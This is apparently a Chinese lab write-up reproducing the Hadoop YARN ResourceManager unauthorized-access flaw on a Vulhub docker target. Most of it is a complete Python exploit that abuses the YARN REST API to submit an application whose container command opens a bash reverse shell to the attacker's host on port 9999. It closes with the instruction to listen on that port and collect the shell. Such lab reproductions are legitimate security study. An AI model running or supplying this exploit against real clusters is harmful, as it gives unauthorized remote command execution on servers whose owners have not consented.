Hadoop YARN ResourceManager 未授权访问漏洞复现
Vulhub官方复现教程
视频链接.
漏洞原理
http://archive.hack.lu/2016/Wavestone - Hack.lu 2016 - Hadoop safari - Hunting for vulnerabilities - v1.0.pdf
复现过程
这里使用的是vulhub提供的docker靶机 地址:
https://vulhub.org/#/environments/hadoop/unauthorized-yarn/
靶机开启后可在本地http://192.168.139.131:8088/cluster 8088端口查看到hadoop内容
利用的exp脚本如下:
#!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.139.131' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
在本地监听9999端口,然后运行exp即可收获shell